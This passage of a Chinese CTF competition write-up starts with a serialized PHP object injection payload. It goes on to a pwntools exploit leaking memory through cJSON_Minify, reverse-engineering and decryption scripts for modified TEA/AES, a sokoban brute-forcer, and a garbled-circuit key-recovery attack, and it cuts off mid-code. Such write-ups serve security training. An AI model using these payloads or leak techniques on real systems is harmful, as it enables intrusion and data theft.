%3A%7B%7D%7Ds%3A9%3A%22aysl2yR5g%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A10%3A%22m4pnFndZoX%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A10%3A%22TEODq2c3Uo%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A8%3A%22Q7mg44bg%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A6%3A%22UO4yLd%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A7%3A%22rHYG3Wr%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7D%7Ds%3A8%3A%22sPEbogX4%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A9%3A%22yKwNrpRAQ%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7D%7Ds%3A6%3A%22XEH9BQ%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A6%3A%22Vkyud3%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A9%3A%22S839pvNRU%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7D%7D 然后调用的参数：9ADRPhlSX1UYKREV 即可读到 /fumo\nPwn dataleak 核心是调用了 cJSON_Minify 这个函数，这个函数差不多就是省略调所有的注释，读给的 libc 的源码可以发现，/* 在判断 \\x00 后仍然有 +=2 这个操作于是可以弥补调读入 0xe 剩下的两个空字节，然后可以分段泄露出data\nfrom pwn import * import sys context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) if len(sys.argv) \u0026lt; 2: debug = True else: debug = False if debug: p = process(\u0026#34;./cJSON_PWN\u0026#34;) libc = ELF(\u0026#34;/lib/x86_64-linux-gnu/libc-2.23.so\u0026#34;) else: p = remote(\u0026#34;124.70.202.226\u0026#34;, 2101) def debugf(b=0): if debug: if b: gdb.attach(p,\u0026#34;b *$rebase({b})\u0026#34;.format(b = hex(b))) else: gdb.attach(p) elf = ELF(\u0026#39;./cJSON_PWN\u0026#39;) ru = lambda x : p.recvuntil(x) sn = lambda x : p.send(x) rl = lambda : p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a, b) debugf(0x120D) # sn(b\u0026#34;a\u0026#34;*14) # sn(p64(elf.got[\u0026#34;read\u0026#34;])) sn(b\u0026#34;aaaaaaaaaaa/*a\u0026#34;) sn(b\u0026#34;aaaaa/*\u0026#34; + b\u0026#34;b\u0026#34;*7) sn(b\u0026#34;aaaaa/*\u0026#34; + b\u0026#34;a\u0026#34;*7) sn(b\u0026#34;/*\u0026#34; + b\u0026#34;b\u0026#34;*12) p.interactive() Re godness dance 输入长度 28\n上来是个哈希表做字母频率统计，i 和 u 出现两次，其余 a-z 出现一次\n然后将 0-28 依次放到一个数组里，看了一下密文，发现也是 0-28\n后面的逻辑每分析出来，于是尝试选择明文攻击（后来得知后面的逻辑只是混淆）\ninput: abcdefghijklmnopqrstuvwxyziu output: 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 27, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 28, 21, 22, 23, 24, 25, 26 input: abcdefghijklmnopqrstuvwxyzui output: 0, 1, 2, 3, 4, 5, 6, 7, 8, 28, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 27, 21, 22, 23, 24, 25, 26 input: abcdefghijklmnopqrstuvwxyizu output: 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 26, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 28, 21, 22, 23, 24, 25, 27 input: zyxwvutsrqponmlkjihgfedcbaiu output: 0, 26, 25, 24, 23, 22, 21, 20, 19, 18, 27, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 28, 6, 5, 4, 3, 2, 1 input: bacdefghijklmnopqrstuvwxyziu output: 0, 2, 1, 3, 4, 5, 6, 7, 8, 9, 27, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 28, 21, 22, 23, 24, 25, 26 flag: waltznymphforquickjigsvexbud target: 0, 2, 26, 17, 28, 24, 11, 21, 10, 16, 20, 19, 18, 3, 8, 6, 12, 9, 14, 13, 22, 4, 27, 15, 23, 1, 25, 7, 5 根据动调的结果，判断最后的密文就是把 a-z 的 index 依次放上来\n手动还原 flag\nCPlusExceptionEncrypt 异常处理，在所有的 begin_catch 下面下断点就能恢复流程\n第一个加密是魔改后的tea\nv0 += (sum + i) ^ (((v1 \u0026gt;\u0026gt; 5) + k3) ^ (sum1 + v1) ^ ((v1 \u0026lt;\u0026lt; 4) + k2)) v1 += (sum + i) ^ (((v0 \u0026gt;\u0026gt; 5) + k1) ^ (sum1 + v0) ^ ((v0 \u0026lt;\u0026lt; 4) + k0)) tea 之后对计算结果依次异或 s, c, t, f\n随后进行 AES 轮密钥生成，对拍发现没有魔改\n接下来是魔改后的 AES：\n修改了最开始的轮密钥加：每个字节另外异或 0x66 随后执行的应该是 9 轮加密 subbyte 用的是 inv_s_box 然后用的是 inv_shift_rows 然后是正向列混淆 正向的轮密钥加 最后是正常的字节替换，行移位和轮密钥加 解密脚本：\naes.py\nfrom galois import GF2 as _GF2 _aes_s_box = [ [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76], [0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0], [0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15], [0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75], [0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84], [0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf], [0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8], [0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2], [0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73], [0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb], [0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79], [0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08], [0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a], [0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e], [0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf], [0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16] ] _aes_s_box_inverse = [ [0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb], [0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb], [0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e], [0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25], [0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92], [0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84], [0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06], [0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b], [0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73], [0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e], [0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b], [0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4], [0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f], [0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef], [0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61], [0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d] ] def _convert_to_array(plain_int): plain_array = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]] for i in range(4)[::-1]: for j in range(4)[::-1]: plain_array[j][i] = plain_int \u0026amp; 0xff plain_int \u0026gt;\u0026gt;= 8 return plain_array def _get_num_from_sbox(index): row = (index \u0026amp; 0xf0) \u0026gt;\u0026gt; 4 col = index \u0026amp; 0xf return _aes_s_box[row][col] def _get_num_from_sbox_inverse(index): row = (index \u0026amp; 0xf0) \u0026gt;\u0026gt; 4 col = index \u0026amp; 0xf return _aes_s_box_inverse[row][col] def _sub_bytes(input_array): for i in range(4): for j in range(4): input_array[i][j] = _get_num_from_sbox(input_array[i][j]) def _sub_bytes_inverse(input_array): for i in range(4): for j in range(4): input_array[i][j] = _get_num_from_sbox_inverse(input_array[i][j]) def _shift_rows(input_array): input_array[1] = input_array[1][1:] + [input_array[1][0]] input_array[2] = input_array[2][2:] + input_array[2][:2] input_array[3] = [input_array[3][3]] + input_array[3][:3] def _shift_rows_inverse(input_array): input_array[3] = input_array[3][1:] + [ input_array[3][0] ] input_array[2] = input_array[2][2:] + input_array[2][:2] input_array[1] = [ input_array[1][3] ] + input_array[1][:3] columns_matrix = [ [2, 3, 1, 1], [1, 2, 3, 1], [1, 1, 2, 3], [3, 1, 1, 2] ] def _mix_columns(input_array): res_array = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]] for i in range(4): for j in range(4): res = _GF2(0) for k in range(4): res += _GF2(columns_matrix[i][k]) * _GF2(input_array[k][j]) res %= _GF2(0b100011011) res_array[i][j] = res.data return res_array columns_matrix_inverse = [ [0xe, 0xb, 0xd, 0x9], [0x9, 0xe, 0xb, 0xd], [0xd, 0x9, 0xe, 0xb], [0xb, 0xd, 0x9, 0xe] ] def _mix_columns_inverse(input_array): res_array = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]] for i in range(4): for j in range(4): res = _GF2(0) for k in range(4): res += _GF2(columns_matrix_inverse[i][k]) * _GF2(input_array[k][j]) res %= _GF2(0b100011011) res_array[i][j] = res.data return res_array def _add_round_key(input_array, key_array): for i in range(4): for j in range(4): input_array[i][j] ^= key_array[i][j] def _key_schedule(pre_key, round): next_key = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]] # print (pre_key) for i in range(4): next_key[i][0] = pre_key[i - 3][3] _sub_bytes(next_key) for i in range(4): next_key[i][0] ^= pre_key[i][0] next_key[0][0] ^= (_GF2(pow(2, round)) % _GF2(0x11b)).data for i in range(1, 4): for j in range(4): next_key[j][i] = next_key[j][i - 1] ^ pre_key[j][i] return next_key def _aes_key_gen(key): key = _convert_to_array(key) round_key = [key] for i in range(10): round_key.append(_key_schedule(round_key[i], i)) return round_key def _convert_to_int(input_array): output_int = 0 for i in range(4): for j in range(4): output_int \u0026lt;\u0026lt;= 8 output_int |= input_array[j][i] return output_int def sycaes_encrypt(plain_text, key): plain_text ^= key round_key = _aes_key_gen(key) plain_array = _convert_to_array(plain_text) for i in range(1, 10): _sub_bytes_inverse(plain_array) _shift_rows_inverse(plain_array) plain_array = _mix_columns(plain_array) _add_round_key(plain_array, round_key[i]) _sub_bytes(plain_array) _shift_rows(plain_array) _add_round_key(plain_array, round_key[10]) return _convert_to_int(plain_array) def sycaes_decrypt(cipher_text, key): round_key = _aes_key_gen(key)[::-1] cipher_array = _convert_to_array(cipher_text) _add_round_key(cipher_array, round_key[0]) _shift_rows_inverse(cipher_array) _sub_bytes_inverse(cipher_array) for i in range(1, 10): _add_round_key(cipher_array, round_key[i]) cipher_array = _mix_columns_inverse(cipher_array) _shift_rows(cipher_array) _sub_bytes(cipher_array) _add_round_key(cipher_array, round_key[10]) return _convert_to_int(cipher_array) from libnum import * k = \u0026#34;Welcome_to_sctf!\u0026#34; ex_key = _aes_key_gen(s2n(k)) cipher = [ 0xBE, 0x1C, 0xB3, 0xF3, 0xA1, 0xF4, 0xE4, 0x63, 0x11, 0xE1, 0x1C, 0x6B, 0x54, 0x0A, 0xDF, 0x74, 0xF2, 0x93, 0x55, 0xDA, 0x48, 0xFC, 0xA2, 0x3C, 0x89, 0x63, 0x2E, 0x7F, 0x8D, 0xA4, 0x6D, 0x4E ] tmp = 0 for c in cipher[:16]: tmp \u0026lt;\u0026lt;= 8 tmp += c res = n2s(sycaes_decrypt(tmp, s2n(k))) print (s2n(res[:4][::-1])) print (s2n(res[4:8][::-1])) print (s2n(res[8:12][::-1])) print (s2n(res[12:][::-1])) tmp = 0 for c in cipher[16:]: tmp \u0026lt;\u0026lt;= 8 tmp += c res = n2s(sycaes_decrypt(tmp, s2n(k))) print (s2n(res[:4][::-1])) print (s2n(res[4:8][::-1])) print (s2n(res[8:12][::-1])) print (s2n(res[12:][::-1])) galois.py\nclass GF2: def __init__(self, v): self.data = v def __str__(self): return hex(self.data) def __repr__(self): return \u0026#34;GF2(0x%x)\u0026#34; % self.data def __add__(self, other): return GF2(self.data ^ other.data) def __sub__(self, other): return GF2(self.data ^ other.data) def __lshift__(self, other): return GF2(self.data \u0026lt;\u0026lt; other) def __eq__(self, other): if type(other) == type(1): if self.data == other: return True else: return False if type(other) == type(self): if self.data == other.data: return True else: return False return False def __mul__(self, other): ans = 0 for i in range(len(bin(self.data)) - 2): if self.data \u0026amp; (1 \u0026lt;\u0026lt; i): ans ^= other.data \u0026lt;\u0026lt; i return GF2(ans) def __truediv__(self, other): a = self b = other if b.data == 1: return a lena = len(bin(a.data)) - 2 lenb = len(bin(b.data)) - 2 ans = 0 while lena \u0026gt;= lenb: a = a + (b \u0026lt;\u0026lt; lena - lenb) ans += 1 \u0026lt;\u0026lt; (lena - lenb) lena = len(bin(a.data)) - 2 return GF2(ans) def __floordiv__(self, other): return self / other def __isub__(self, other): return self - other def __mod__(self, other): a = self.data b = other.data lena = len(bin(a)) - 2 lenb = len(bin(b)) - 2 for i in range(lena, lenb - 1, -1): if a \u0026amp; (1 \u0026lt;\u0026lt; i - 1) != 0: a ^= (b \u0026lt;\u0026lt; i - lenb) return GF2(a) def __pow__(self, other, modulo = None): d = GF2(1) while other \u0026gt; 0: if other \u0026amp; 1: d = d * self if modulo != None: d %= modulo other \u0026gt;\u0026gt;= 1 self *= self if modulo != None: self %= modulo return d tea.c\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdint.h\u0026gt; //加密函数 void encrypt (uint32_t* v, uint32_t* k) { uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */ uint32_t delta=1935897702; /* a key schedule constant */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i \u0026lt; 32; i++) { /* basic cycle start */ sum += delta; v0 += (sum + i )^(((v1\u0026lt;\u0026lt;4) + k2) ^ (v1 + sum) ^ ((v1\u0026gt;\u0026gt;5) + k3)); v1 += (sum + i )^(((v0\u0026lt;\u0026lt;4) + k0) ^ (v0 + sum) ^ ((v0\u0026gt;\u0026gt;5) + k1)); } /* end cycle */ v[0]=v0; v[1]=v1; } //解密函数 void decrypt (uint32_t* v, uint32_t* k) { uint32_t delta=1935897702; /* a key schedule constant */ uint32_t v0=v[0], v1=v[1], sum=delta * 32; int i; /* set up */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=31; i\u0026gt;=0; i--) { /* basic cycle start */ v1 -= (sum + i )^(((v0\u0026lt;\u0026lt;4) + k0) ^ (v0 + sum) ^ ((v0\u0026gt;\u0026gt;5) + k1)); v0 -= (sum + i )^(((v1\u0026lt;\u0026lt;4) + k2) ^ (v1 + sum) ^ ((v1\u0026gt;\u0026gt;5) + k3)); sum -= delta; } /* end cycle */ v[0]=v0; v[1]=v1; } int main(){ v[0] = \u0026#39;s\u0026#39; ^ 0x66666666 ^ 2650095043; v[1] = \u0026#39;c\u0026#39; ^ 0x66666666 ^ 1257176610; v[2] = \u0026#39;t\u0026#39; ^ 0x66666666 ^ 407123268; v[3] = \u0026#39;f\u0026#39; ^ 0x66666666 ^ 3718944108; v[4] = \u0026#39;s\u0026#39; ^ 0x66666666 ^ 703929021; v[5] = \u0026#39;c\u0026#39; ^ 0x66666666 ^ 1889742860; v[6] = \u0026#39;t\u0026#39; ^ 2436073003 ^ 0x66666666; v[7] = \u0026#39;f\u0026#39; ^ 2423013887 ^ 0x66666666; decrypt(v, k); decrypt(v+2, k); decrypt(v+4, k); decrypt(v+6, k); printf(\u0026#34;0x%x, 0x%x, \u0026#34;,v[0],v[1]); printf(\u0026#34;0x%x, 0x%x, \u0026#34;,v[2],v[3]); printf(\u0026#34;0x%x, 0x%x, \u0026#34;,v[4],v[5]); printf(\u0026#34;0x%x, 0x%x\\n\u0026#34;,v[6],v[7]); return 0; } SycOS riscv 架构，ghidra 打开\n读取 0x40 长度，每个字符分别计算 0x80 次线性同余方程，然后分两部分存储\n0x10 轮加密，依次进行：tea 运算、两部分中各取出 0x100 进行交换，然后进行系统调用，动调发现内核中的处理只是把两部分字符串做了交换\n系统调用可以根据 \u0026ldquo;sys call\u0026rdquo; 字符串定位到\ntea 的加密一个是 16 轮的一个是 8 轮\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026#34;exp.h\u0026#34; int delta=-0x61c88647; char str[65]; char tmp[256]; char tmp1[4096]; unsigned long long seed; unsigned long long mRand() { seed=seed*0x41c64e6d+0x3039; return (seed\u0026lt;\u0026lt;0x21)\u0026gt;\u0026gt;0x31; } void tea1(char *str) { for (int j=0;j\u0026lt;4096;j+=8) { auto *ptr=(unsigned int*)(str+j); auto t1=ptr[0]; auto t2=ptr[1]; int sum=delta*16; for (int k=0;k\u0026lt;16;k++) { t2 -= t1 + sum ^ (t1\u0026lt;\u0026lt;4) + 0x1A2B3C4D ^ (t1 \u0026gt;\u0026gt; 5) + 0xCC1122AA; t1 -= (t2\u0026lt;\u0026lt;4) + 0x11222233 ^ (t2 \u0026gt;\u0026gt; 5) + 0xaabbccdd ^ sum +t2; sum-=delta; } ptr[0]=t1; ptr[1]=t2; } } void tea2(char* str) { for (int j=0;j\u0026lt;4096;j+=8) { auto *ptr=(unsigned int*)(str+j); auto t1=ptr[0]; auto t2=ptr[1]; int sum=delta*8; for (int k=0;k\u0026lt;8;k++) { sum-=delta; t1 += t2 + sum ^ (t2 \u0026lt;\u0026lt;4) + 0x11222233 ^ (t2 \u0026gt;\u0026gt; 5) + 0xaabbccdd; t2 +=(t1\u0026lt;\u0026lt;4) + 0x1A2B3C4D ^ (t1 \u0026gt;\u0026gt; 5) + 0xCC1122AA ^ sum +t1; } ptr[0]=t1; ptr[1]=t2; } } void panic() { printf(\u0026#34;failed\u0026#34;); exit(0); } int main() { for (int i=15;i\u0026gt;=0;i--) { memcpy(tmp1,target1,4096); memcpy(target1,target2,4096); memcpy(target2,tmp1,4096); memcpy(tmp,target1+(i*256),256); memcpy(target1+(i*256),target2+(15-i)*256,256); memcpy(target2+(15-i)*256,tmp,256);\ttea1(target1); tea2(target2); } for (int i=0;i\u0026lt;0x80;i++) printf(\u0026#34;0x%02x \u0026#34;,(unsigned char)target2[i]); printf(\u0026#34;\\n\\n\u0026#34;); for (int i=0;i\u0026lt;0x20;i++) { int an=0; for (an=i;an\u0026lt;i+0xff;an++) { seed=an; bool ch=true; for (int j=0;j\u0026lt;0x80;j++) { unsigned char aa=mRand()\u0026amp;0xff; unsigned char bb=target1[i*0x80+j]\u0026amp;0xff; if (aa!=bb) { ch=false; break; } } if (ch) break; } printf(\u0026#34;%x\\n\u0026#34;,an); if (an\u0026gt;=0xff) { panic(); } str[i]=an-i; } for (int i=0;i\u0026lt;0x20;i++) { int an=0; for (an=i;an\u0026lt;i+0xff;an++) { seed=an; bool ch=true; for (int j=0;j\u0026lt;0x80;j++) { unsigned char aa=mRand()\u0026amp;0xff; unsigned char bb=target2[i*0x80+j]\u0026amp;0xff; if (aa!=bb) { ch=false; break; } } if (ch) break; } printf(\u0026#34;%x\\n\u0026#34;,an); if (an\u0026gt;=0xff) { panic(); } str[i+0x20]=an-i; } printf(\u0026#34;%s\\n\u0026#34;,str); return 0; } SycGame 推箱子游戏\ngithub 找了个自动求解脚本，然后在脚本里加一个 alarm，求解一次的时间超过 3s 就自动退出\nhttps://github.com/tonyling/skb-solver\n题目的程序和 github 上的脚本写的都有点问题，最后大概是脚本有 1/5 到 1/10 的概率求解出一轮，接下来爆破一波就行（服务器第一天不太稳定，爆破完不回显 flag\u0026hellip;）\nfrom pwn import * from sympy.ntheory.modular import isprime import traceback context.log_level=\u0026#39;debug\u0026#39; def bprint(lst): for i in lst: for j in i: print(\u0026#34;%4d \u0026#34;%j,end=\u0026#39;\u0026#39;) print(\u0026#39;\u0026#39;) def fprint(lst): mpc={1:\u0026#39; \u0026#39;,0:\u0026#39;#\u0026#39;,-2:\u0026#39;@\u0026#39;,-3:\u0026#39;.\u0026#39;,-1:\u0026#39;$\u0026#39;} target=\u0026#39;20\\n\u0026#39; for i in lst: for j in i: target+=(\u0026#34;%c\u0026#34;%mpc[j]) target+=\u0026#34;\\n\u0026#34; open(\u0026#34;test.txt\u0026#34;,\u0026#34;w\u0026#34;).write(target) maxn=0 while (True): try: p=remote(\u0026#34;124.70.152.166\u0026#34;,1448) p.recvuntil(b\u0026#34;:\u0026#34;) p.send(b\u0026#34;Y\\n\u0026#34;) for i in range(4): p.recvuntil(b\u0026#34;\\n\u0026#34;) buffer=p.recvuntil(b\u0026#34;\\n\u0026#34;).decode()[:-2] _mp=list(map(int,buffer.split(\u0026#34; \u0026#34;))) mp0=[(0 if isprime(i) else 1) if i\u0026gt;0 else i for i in _mp] mp=[[mp0[i*20+j] for j in range(20)]for i in range(20)] mpback=[[mp0[i*20+j] for j in range(20)]for i in range(20)] bprint(mp) fprint(mp) data=os.popen(\u0026#39;./a.out test.txt\u0026#39;).read() print(data) p.send(data.encode()) p.recvuntil(\u0026#34;:\u0026#34;) p.send(b\u0026#34;Y\\n\u0026#34;) rec=p.recvuntil(\u0026#34;\\n\u0026#34;) print(rec) maxn=max(maxn,i+1) i=4 p.recvuntil(b\u0026#34;\\n\u0026#34;) buffer=p.recvuntil(b\u0026#34;\\n\u0026#34;).decode()[:-2] _mp=list(map(int,buffer.split(\u0026#34; \u0026#34;))) mp0=[(0 if isprime(i) else 1) if i\u0026gt;0 else i for i in _mp] mp=[[mp0[i*20+j] for j in range(20)]for i in range(20)] mpback=[[mp0[i*20+j] for j in range(20)]for i in range(20)] bprint(mp) fprint(mp) data=os.popen(\u0026#39;./a.out test.txt\u0026#39;).read() print(data) p.send(data.encode()) dt=p.recvuntil(b\u0026#34;Y\u0026#34;) print(\u0026#34;recieved:\u0026#34;,end=\u0026#39;\u0026#39;) print(dt) i=5 p.interactive() except: if (i==4): traceback.print_exc() if (i==5): break p.close() print(\u0026#34;maxn:%d\u0026#34;%maxn) pass Crypto ciruit map 是个混淆电路，目标 flag 最终就是要求出 keys\n电路中多给了一个值是 validation，用这个值可以构造中间相遇攻击，从而将秘钥爆破空间缩小到 2**24，pypy3 跑然后在密钥空间中验证电路是否能通，能通的就是正确的秘钥\nfrom block_cipher import encrypt_data, decrypt_data, decrypt from collections import defaultdict from tqdm import tqdm G_Table = { 5: [(13303835, 2123830), (2801785, 11303723), (13499998, 248615), (13892520, 7462011)], 6: [(3244202, 918053), (3277177, 6281266), (1016382, 7097624), (10016472, 13600867)], 7: [(5944875, 3442862), (7358369, 8423543), (6495696, 9927178), (13271900, 11855272)], 9: [(5333988, 87113), (9375869, 11687470), (5011062, 14981756), (2509493, 12330305)]} print(\u0026#39;[!] generating lookup table...\u0026#39;) ENCRYPTIONS_OF_ZERO = defaultdict(list) for key in tqdm(range(2**24)): ct = encrypt_data(0, key) ENCRYPTIONS_OF_ZERO[ct].append(key) def meet_in_the_middle(ct): print(\u0026#39;[!] performing meet-in-the-middle attack for\u0026#39;, ct) possible = defaultdict(list) for key in tqdm(range(2**24)): dec = decrypt_data(ct, key) if dec in ENCRYPTIONS_OF_ZERO: possible[key] = ENCRYPTIONS_OF_ZERO[dec] return possible def recover_keys(Z, C): print(\u0026#39;[!] recovering keys...\u0026#39;) z1, z2, z3, z4 = Z c1, c2, c3, c4 = C for b0 in tqdm(z1): for a0 in z1[b0]: p1 = decrypt(c1, a0, b0) for c,z in zip([c2, c3, c4], [z2, z3, z4]): for a1 in z[b0]: if p1 == decrypt(c, a1, b0): b1 = recover_keys_part2(Z, C, a0, b0) if b1: print(c1) print(c) print(f\u0026#39;a0 = {a0}, b0 = {b0}\u0026#39;) print(f\u0026#39;a1 = {a1}, b1 = {b1}\u0026#39;) return True return False def recover_keys_part2(Z, C, a0, b0): z1, z2, z3, z4 = Z c1, c2, c3, c4 = C for c,z in zip([c2,c3,c4], [z2,z3,z4]): for b1 in z: if a0 in z[b1] and decrypt(c, a0, b1) == decrypt(c1, a0, b0): return b1 return False # Z是四个字典，键是key2, 值是key1 for i in [7]: Z = [meet_in_the_middle(G_Table[i][j][1]) for j in range(4)] C = [g[0] for g in G_Table[i]] for i in range(4): if recover_keys([Z[i]] + Z[:i] + Z[i+1:], [C[i]] + C[:i] + C[i+1:]): break ############################################################### from block_cipher import decrypt G_Table = { 5: [(13303835, 2123830), (2801785, 11303723), (13499998, 248615), (13892520, 7462011)], 6: [(3244202, 918053), (3277177, 6281266), (1016382, 7097624), (10016472, 13600867)], 7: [(5944875, 3442862), (7358369, 8423543), (6495696, 9927178), (13271900, 11855272)], 9: [(5333988, 87113), (9375869, 11687470), (5011062, 14981756), (2509493, 12330305)]} def validate_the_circuit(geta_table, key0, key1): for g in geta_table: gl, v = g label = decrypt(gl, key0, key1) validation = decrypt(v, key0, key1) if validation == 0: return label geta5 = G_Table[5] geta6 = G_Table[6] geta7 = G_Table[7] geta9 = G_Table[9] key0 = 8680011 key1 = 2096572 msg = validate_the_circuit(geta9, key0, key1) print(\u0026#39;key[9][1] = \u0026#39;, msg) # keys[1][0] = 8343801 # keys[1][1] = 13675268 # keys[2][0] = 10251687 # keys[2][1] = 12870274 # keys[3][0] = 6827786 # keys[3][1] = 12490757 # keys[4][0] = 2096572 # keys[4][1] = 3391233 # keys[5][0] = 15707475 # keys[5][1] = 4567418 # keys[6][0] = 14095476 # keys[6][1] = 3648155 # key[7][0] = 14409690 # key[7][1] = 8680011 # key[9][0] = 9376523 # key[9][1] = 2504390 ############################################################### import hashlib from Crypto.Util.number import * from libnum import n2s # keys[1][0] = 8343801 